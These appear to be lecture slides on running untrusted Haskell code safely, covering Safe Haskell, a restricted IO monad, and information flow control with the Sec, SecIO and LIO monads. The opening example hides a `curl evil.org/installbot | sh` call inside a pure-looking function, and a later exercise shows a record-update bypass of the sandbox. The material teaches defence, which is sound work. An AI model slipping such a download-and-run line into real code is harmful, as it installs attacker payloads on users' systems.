Untrusted code

• Say you want to incorporate untrusted code in a Haskell application
• Example: Some third-party translation software
  • You built a web server
  • Want to add a “translate to Pig Latin” button to each web page

  • Download some random code with this function

    toPigLatin :: L.ByteString -> L.ByteString

• If you could trust the type (no IO), this would be safe to run
  • Worst case, users get garbled text on web page

• However, what if you have?

  toPigLatin = unsafePerformIO $ do
    system "curl evil.org/installbot | sh"
    return "Ia owna ouya"

Safe Haskell

• Starting with GHC 7.2, -XSafe option enables Safe Haskell
  • Courtesy of our very own CA, David Terei
• Safe Haskell disallows import of any unsafe modules
  • E.g., can’t import System.IO.Unsafe, so can’t call unsafePerformIO

• Safe imports (enabled by -XUnsafe) require an import to be safe

  import safe PigLatin (toPigLatin)

  • The above should guarantee that toPigLatin doesn’t call unsafe functions

• But wait… doesn’t toPigLatin use ByteString?

  head :: {- Lazy -} ByteString -> Word8
  head Empty       = errorEmptyList "head"
  head (Chunk c _) = S.unsafeHead c
  
  unsafeHead :: {- Strict -} ByteString -> Word8
  unsafeHead (PS x s l) = assert (l > 0) $
      inlinePerformIO $ withForeignPtr x $ \p -> peekByteOff p s

Safe vs. Trustworthy

• A module compiled -XSafe can only import safe modules
  • As if all imports implicitly have safe keyword
• But there are two kinds of safe module
  1. Modules verified to be safe by the compiler, compiled -XSafe
  2. Modules asserted to be safe by the author, compiled -XTrustworthy
• So a module like Data.ByteString can be compiled -XTrustworthy
  • Put unsafe functions in separate Data.ByteString.Unsafe module
  • Assert Data.ByteString’s exported symbols cannot be used unsafely, even if the module internally makes use of unsafe functions
• Of course, might or might not trust module author
  • Can specify on a per-package basis whether to honor -XTrustworthy
  • Flag -fpackage-trust enables such per-package trust
  • Use flags, -trust Pkg, -distrust Pkg, -distrust-all-packages
  • Can also set default for a package with ghc-pkg

What if untrusted code needs to do IO?

• Suppose you want to translate to a real language
  • Generally requires massive data sets
  • Untrusted code would at minimum need to do file IO
  • Or maybe easiest to send text over network to, e.g., Google translate
• Idea: use a restricted IO monad, RIO

  • Untrusted third party implements googleTranslate function

    googleTranslate :: Language -> L.ByteString -> RIO L.ByteString

  • But uses the RIO monad, instead of IO
  • Implement RIO functions to access network, file system
  • Have functions reject dangerous operations

  • Can use same names and port IO code to RIO by manipulating imports

Example: hypothetical RIO monad

{-# LANGUAGE Trustworthy #-}
module RIO (RIO(), runRIO, RIO.readFile) where

-- Notice that symbol UnsafeRIO is not exported from this module!
newtype RIO a = UnsafeRIO (IO a)
runRIO :: RIO a -> IO a
runRIO (UnsafeRIO io) = io

instance Monad RIO where ...

-- Returns True iff access is allowed to file name
pathOK :: FilePath -> IO Bool
pathOK file = -- policy, e.g., only allow files in /tmp

readFile :: FilePath -> RIO String
readFile file = UnsafeRIO $ do
  ok <- pathOK file
  if ok then Prelude.readFile file else return ""

• Note use of newtype – RIO is same as IO at runtime
  • Anyone can turn an RIO action into an IO one with runRIO
  • But can’t create RIO action from IO without UnsafeRIO

Exercise: implement RIO Monad instance

newtype RIO a = UnsafeRIO (IO a)
runRIO :: RIO a -> IO a
runRIO (UnsafeRIO io) = io

• Starter code: wget cs240h.stanford.edu/RIO.hs

GHCi, version 7.8.2: http://www.haskell.org/ghc/  :? for help
...
*RIO> writeFile "/tmp/hello" "Hello, world\n"
*RIO> runRIO $ RIO.readFile "/tmp/hello"
"Hello, world\n"
*RIO> runRIO $ RIO.readFile "/etc/passwd"
""
*RIO> 

• Bonus: what’s wrong with the following, alternate definition of runRIO?

newtype RIO a = UnsafeRIO { runRIO :: IO a }

Solutions

newtype RIO a = UnsafeRIO (IO a)

• Monad solution:

instance Monad RIO where
  return = UnsafeRIO . return
  m >>= k = UnsafeRIO $ runRIO m >>= runRIO . k
  fail = UnsafeRIO . fail

• Bonus solution:
  • The problem is selectors can be used to update state
  • Exporting runRIO is tantamount to exporting UnsafeRIO

  badRIO :: IO a -> RIO a
  badRIO io = (fail "ha ha") { runRIO = io }

  • Can execute arbitrary IO actions from within RIO:

  *Main> runRIO $ badRIO $ putStrLn "gotcha"
  gotcha

Example policies for RIO

• Only read and write files under some sandbox subdirectory
  • Protect most of file system from untrusted code
• Do not allow execution of other programs
  • Would escape from RIO restrictions
• Only allow connections to port 80, and only to known servers
  • Don’t want untrusted code sending spam, attacking mysql, etc.
• Do not allow access to devices
  • Microphone, camera, speaker, etc.
• Similar to policies that apply to Java/JavaScript in browser

Why RIO isn’t enough

• What if the web site contains private data, such as email?
• An attack by malicious googleTranslate function:
  • Save a copy of private email under /sandbox (allowed)
  • When asked to translate a special string, return stored email
  • Attacker sends himself an email with special string to read stored email
• Another attack
  • Send query to attacker’s own website instead of Google
• Problem: really need to keep track of what information is sensitive
  • Okay to send public data over network
  • Not okay to send email (or maybe only okay to send to specific Google URL)
  • Okay to write files, but have to keep track of which files contain whose email
• Solution: Decentralized Information Flow Control (DIFC)

What is DIFC?

• IFC originated with military applications and classified data
• Every piece of data in the system has a label
• Every process/thread has a label
• Labels are partially ordered by ⊑ (“can flow to”)
• Example: Emacs (labeled L_E) accesses file (labeled L_F)

What is DIFC?

• IFC originated with military applications and classified data
• Every piece of data in the system has a label
• Every process/thread has a label
• Labels are partially ordered by ⊑ (“can flow to”)
• Example: Emacs (labeled L_E) accesses file (labeled L_F)
  • File read? Information flows from file to emacs. System requires L_F ⊑ L_E.

What is DIFC?

• IFC originated with military applications and classified data
• Every piece of data in the system has a label
• Every process/thread has a label
• Labels are partially ordered by ⊑ (“can flow to”)
• Example: Emacs (labeled L_E) accesses file (labeled L_F)
  • File read? Information flows from file to emacs. System requires L_F ⊑ L_E.
  • File write? Information flows in both directions. System enforces that L_F ⊑ L_E and L_E ⊑ L_F.

Labels are transitive

• ⊑ is a transitive relation - makes it easier to reason about security
• Example: Label file so it cannot flow to Internet
  • Policy holds regardless of what other software does

Labels are transitive

• ⊑ is a transitive relation - makes it easier to reason about security
• Example: Label file so it cannot flow to Internet
  • Policy holds regardless of what other software does
• Suppose a buggy app reads file (e.g., desktop search)

Labels are transitive

• ⊑ is a transitive relation - makes it easier to reason about security
• Example: Label file so it cannot flow to Internet
  • Policy holds regardless of what other software does
• Suppose a buggy app reads file (e.g., desktop search)
  • Process labeled L_bug reads file, so must have L_F ⊑ L_bug
  • But L_F ⊑ L_bug ∧ L_bug ⊑ L_net ⇒ L_F ⊑ L_net, thus L_bug !⊑L_net

Labels are transitive

• ⊑ is a transitive relation - makes it easier to reason about security
• Example: Label file so it cannot flow to Internet
  • Policy holds regardless of what other software does
• Conversely, any app that can write to network cannot read file

Labels form a lattice

• Consider two users, A and B
  • Label public data L_∅, A’s private data L_A, B’s private data L_B
• What happens if you mix A’s and B’s private data in a single document?
  • Both A and B should be concerned about the release of such a document
  • Need a label at least as restrictive as both L_A and L_B
  • Use the least upper bound (a.k.a. join) of L_A and L_B, written L_A ⊔ L_B

DIFC is Decentralized

• Every process has a set of privileges
• Exercising privilege p changes label requirements
  • L_F⊑_p L_proc to read, and additionally L_proc⊑_p L_F to write file
  • ⊑_p (``can flow under privileges p’’) is more permissive than ⊑
• Idea: Set labels so you know who has relevant privs.

Example privileges

• Consider again simple two user lattice
• Let a be user A’s privileges, b be user B’s privileges
• Clearly L_A⊑_a L_∅ and L_B⊑_b L_∅
  • Users should be able to make public or declassify their own private data
• Users should also be able to partially declassify data
  • I.e., L_AB⊑_a L_B and L_AB⊑_b L_A

Example privileges

• Exercising privileges a effectively means:
  • L_A becomes equivalent to L_∅
  • L_AB becomes equivalent to L_B

The Sec monad [Russo], [Russo]

• Let’s encode a really simple two-point lattice in Haskell’s type system
  • Let type H represent secret (“high”) data, and L public (“low”) data

  {-# LANGUAGE Unsafe #-}
  Module Sec where
  data L = Lpriv
  data H = Hpriv

  • Type represents secrecy level, constructor represents privileges

  {-# LANGUAGE Trustworthy #-}
  Module Sec.Safe (module Sec) where
  import Sec (L, H, Sec, sec, open, up)

  • Let’s also (in module Sec) represent the lattice (L ⊑ H) in the type system

  class Flows sl sh where
  instance Flows L L
  instance Flows L H
  instance Flows H H
  -- Notice no instance for Flows H L

The Sec monad (continued)

• Let’s protect secret values with monads by adding to module Sec
  • Define two monads, Sec H for high data, and Sec L for low data

  newtype Sec s a = MkSec a
  
  instance Monad (Sec s) where
    return x = MkSec x
    MkSec a >>= k = k a

  • Allow anyone to label a value, but require privileges to unlabel

  label :: a -> Sec s a
  label x = MkSec x
  unlabel :: Sec s a -> s -> a
  unlabel (MkSec a) s = s `seq` a     -- s (H or L) acts like key

  • Notice seq call, ensures “unlabel undefined secval” will crash
  • Allow data to be re-labeled according to ⊑ relation

  relabel :: (Flows lin lout) => Sec lin a -> Sec lout a
  relabel (MkSec val) = MkSec val

Applying the Sec monad

• Untrusted code gets access to sensitive data only in Sec monads
• Possible policy:
  • Data labeled Sec L can be sent over network
  • Data labeled Sec H can only be sent to Google
  • Implement by providing specific trusted functions

  queryGoogle :: Sec H L.ByteString -> IO (Sec H L.ByteString)
  queryGoogle labeledQuery = do
    let query = unlabel Hpriv labeledQuery  -- code is privileged,
    ...                                     -- so have Hpriv

• This isn’t a very satisfying solution
  • Decision to query google can’t depend on data
  • So we aren’t really getting the full benefit of monads (more like Applicative)

IO and Sec

• What if instead we combined Sec and IO?

  untrustedTranslate :: Sec H L.ByteString -> Sec H (IO L.ByteString)

• Safe to run this computation?

IO and Sec

• What if instead we combined Sec and IO?

  untrustedTranslate :: Sec H L.ByteString -> Sec H (IO L.ByteString)

• Safe to run this computation? No!

  untrustedTranslate secbs = do
    bs <- secbs
    return $ do writeFile "PublicFile" bs -- oops, pwned
                {- query Google for translation -}

• Let’s combine ideas of RIO and Sec in a SecIO monad

  newtype SecIO s a = MkSecIO (IO (Sec s a)) -- MkSecIO analogous to UnsafeRIO
  instance Monad (SecIO s) where
      return x = MkSecIO (return (return x))
      MkSecIO m >>= k = MkSecIO $ do
        MkSec a <- m
        let MkSecIO m' = k a
        m'
  run :: SecIO s a -> IO (Sec s a)
  run (MkSecIO m) = m

The SecIO monad

• Allow Sec value to be accessed within SecIO monad:

  value :: Sec s a -> SecIO s a
  value sa = MkSecIO (return sa)

• Can return high values from SecIO L by wrapping in Sec:

  plug :: Flows sl sh => SecIO sh a -> SecIO sl (Sec sh a)

  • Let’s you execute SecIO H computations within SecIO L monad, the “price” is that the result is locked up in the Sec H monad

• How to represent files (similar for IORefs, etc.)?

  -- Must encode level of file in type, path of file in value
  type File s = SecFilePath String
  
  readFileSecIO :: File s -> SecIO s' (Sec s String)
  writeFileSecIO :: File s -> String -> SecIO s ()
  
  -- E.g., Can write to high files and returns high Int:
  c1 :: SecIO H Int
  -- Can write to low or (using plug) high files, returns low Int:
  c3 :: SecIO L Int
  -- Can write to low or high files, returns high Int:
  c2 :: SecIO L (Sec H Int)

SecIO translator

• Still need privileged function

  queryGoogle :: Sec H L.ByteString -> SecIO H L.ByteString

  • Represents the fact that Google is trusted with high data
  • Makes sense you need to implement this to encode policy

• Now implement untrusted code as follows

  untrustedTranslate :: Sec H L.ByteString -> SecIO H L.ByteString

  • Function can invoke queryGoogle, but not send data to other places
• SecIO does most enforcement at compile time
• Problem: for email, really want separate labels for every user
  • Users added dynamically, so hard to encode this with Flows…

LIO monad [Stefan]

• cabal install lio (or stack install lio)

• Idea: Let’s keep track of labels dynamically, at run time
  • Track both current label and maximum label or clearance
  • Associate an LIOState with each thread:

  -- Note type parameter l just specifies the label type
  data LIOState l = LIOState { lioLabel, lioClearance :: !l }

• Now make RIO-like monad that disallows raw IO

  {-# LANGUAGE Unsafe #-}
  
  newtype LIO l a = LIOTCB (IORef (LIOState l) -> IO a)
  
  instance Monad (LIO l) where
    return = LIOTCB . const . return
    (LIOTCB ma) >>= k = LIOTCB $ \s -> do
      a <- ma s
      case k a of LIOTCB mb -> mb s

  • So initially, we can’t do any IO within LIO monad

Backdoors for privileged code

• Idea: Trustworthy code wraps IO actions with label checks

• Need some back doors into IO just for Trustworthy code:

  {-# LANGUAGE Unsafe #-}
  
  ioTCB :: IO a -> LIO l a -- back door for privileged code
  ioTCB = LIOTCB . const   -- to execute arbitrary IO actions

• Also handy to have access to state:

  getLIOStateTCB :: LIO l (LIOState l)
  getLIOStateTCB = LIOTCB readIORef
  
  putLIOStateTCB :: LIOState l -> LIO l ()
  putLIOStateTCB s = LIOTCB $ \sp -> writeIORef sp $! s
  
  modifyLIOStateTCB :: (LIOState l -> LIOState l) -> LIO l ()
  modifyLIOStateTCB = getLIOStateTCB >>= putLIOStateTCB . f

• Note important convention: symbols ending …TCB never available to safe modules

Implementing labels in Haskell

• Implementing labels as values is straight-forward:

  Module LIO.Label
  
  class (Eq l, Show l, Read l, Typeable l) => Label l where
    lub :: l -> l -> l
    glb :: l -> l -> l
    infixl 5 `lub` `glb`
    canFlowTo :: l -> l -> Bool
    infix 4 `canFlowTo`

• What about privileges?

  • Want to know when one privilege subsumes another

  class (Typeable p, Show p) => SpeaksFor p where
    speaksFor :: p -> p -> Bool

  • And how privileges affect the `canFlowTo` relation

  class (Label l, SpeaksFor p) => PrivDesc l p where
    downgradeP :: p -> l -> l  -- compute "lowest" equivalent label
    canFlowToP :: p -> l -> l -> Bool
    canFlowToP p l1 l2 = downgradeP p l1 `canFlowTo` l2

Exercise: Implement a Label instance

data Level = Public | Secret | TopSecret
data Compartment = Nuclear | Crypto
data MilLabel = MilLabel { level :: Level
                         , compartments :: Set Compartment
                         }

• wget cs240h.stanford.edu/millattice.hs
• Bonus: write some quickcheck properties

Solution

• Label instance

  instance Label MilLabel where
    lub a b = MilLabel (max (level a) (level b))
                (Set.union (compartments a) (compartments b))
    glb a b = MilLabel (min (level a) (level b))
                (Set.intersection (compartments a) (compartments b))
    canFlowTo a b = level a <= level b
                    && compartments a `Set.isSubsetOf` compartments b

• Some quickcheck instances

  prop_irreflexive :: MilLabel -> MilLabel -> Bool
  prop_irreflexive l1 l2 =
    if l1 == l2 then l1 `canFlowTo` l2 && l2 `canFlowTo` l1
    else not (l1 `canFlowTo` l2 && l2 `canFlowTo` l1)
  
  prop_lub :: MilLabel -> MilLabel -> Bool
  prop_lub l1 l2 = l1 `canFlowTo` l3 && l2 `canFlowTo` l3
    where l3 = l1 `lub` l2

Adjusting and checking labels

• Before reading any data labeled newl, adjust/check LIOState

  taint :: Label l => l -> LIO l ()
  taint newl = do
    LIOState { lioLabel = l, lioClearance = c } <- getLIOStateTCB
    let l' = l `lub` newl
    unless (l' `canFlowTo` c) $ labelError "taint" [newl]
    modifyLIOStateTCB $ \s -> s { lioLabel = l' }

• Before writing any data labeled newl, adjust/check LIOState

  guardWrite :: Label l => l -> LIO l ()
  guardWrite newl = do
    LIOState { lioLabel = l, lioClearance = c } <- getLIOStateTCB
    unless (canFlowTo l newl && canFlowTo newl c) $
      labelError "guardWrite" [newl]
    withContext "guardWrite" $ taint newl

Privileges vs. privilege descriptions

• Want to be able to name/examine privileges in any context

• Embody the privileges by wrapping them with in protected newtype

  newtype Priv a = PrivTCB a deriving (Show, Eq, Typeable)
  
  instance Monoid p => Monoid (Priv p) where
    mempty = PrivTCB mempty
    mappend (PrivTCB m1) (PrivTCB m2) = PrivTCB $ m1 `mappend` m2
  
  privDesc :: Priv a -> a
  privDesc (PrivTCB a) = a

  • Given a Priv, can get a description with privDesc, but not vice versa

• How to create privileges in the first place?

  • Generate them in IO at start of program, before invoking LIO

  privInit :: p -> IO (Priv p)
  privInit p = return $ PrivTCB p

  • Remember, if bad guy can execute arbitrary IO code, game over anyway

Using Priv Objects

• Many LIO functions have …P variants taking privilege
  • E.g., replace calls to taint with ones to taintP:

  taintP :: PrivDesc l p => Priv p -> l -> LIO l ()
  taintP p newl = do
    LIOState { lioLabel = l, lioClearance = c } <- getLIOStateTCB
    let l' = l `lub` downgradeP p newl
    unless (l' `canFlowTo` c) $ labelErrorP "taintP" p [newl]
    modifyLIOStateTCB $ \s -> s { lioLabel = l' }

• Can also delegate privileges, wrap them in closures, or check them by “gating” closures

  delegate :: SpeaksFor p => Priv p -> p -> Priv p
  
  newtype Gate p a = GateTCB (p -> a) deriving Typeable
  
  gate :: (p -> a) -> Gate p a
  gate = GateTCB
  
  callGate :: Gate p a -> Priv p -> a
  callGate (GateTCB g) = g . privDesc

Wrapping IO abstractions

• Many LIO abstractions just LIO ones plus a label

  data LObj label object = LObjTCB !label !object deriving (Typeable)

• blessTCB helper makes constructing LIO functions easy
  • through the magic of functional dependencies

  {-# LANGUAGE Trustworthy #-}
  
  import LIO.TCB.LObj
  
  type LMVar l a = LObj l (MVar a)
  
  takeLMVar :: Label l => LMVar l a -> LIO l a
  takeLMVar = blessTCB "takeLMVar" takeMVar
  
  tryTakeLMVar :: Label l => LMVar l a -> LIO l (Maybe a)
  tryTakeLMVar = blessTCB "tryTakeLMVar" tryTakeMVar
  
  putLMVar :: Label l => LMVar l a -> a -> LIO l ()
  putLMVar = blessTCB "putLMVar" putMVar

Need pure values as well as side-effects

• Represent labeled pure values with type wrapper

  data Labeled l t = LabeledTCB l t

  • Pure values are suitable for mashalling, insertion in database
• The LIO l monad (for Label l) is like a state monad w. current label
  • Current label rises to LUB of all data observed

• Can label and unlabel pure values in LIO monad:

  label :: Label l => l -> a -> LIO l (Labeled l a)
  unlabel :: (Label l) => Labeled l a -> LIO l a
  unlabelP :: Priv l p => p -> Labeled l a -> LIO l a

  • label requires value label to be above current label
  • unlabel raises current label to LUB with removed Labeled (unlabelP uses privileges to raise label less)

• Launch computation, defer raising label until you need result

  lFork :: Label l => l -> LIO l a -> LIO l (LabeledResult l a)   
  lWait :: Label l => LabeledResult l a -> LIO l a

Other LIO features

• Clearance
  • Special label maintained w. current label in LIO state
  • Represents upper bound on current label
  • Can lower clearance to label, but raising requires privileges
  • Allows “need-to-know” policies, reducing danger of covert channels
• Labeled exceptions
  • Can only catch exceptions thrown at points below your clearance
  • Get tainted by exception when you catch it
• Example application is Hails web framework
  • Really a framework for creating web platforms hosting mutually distrustful apps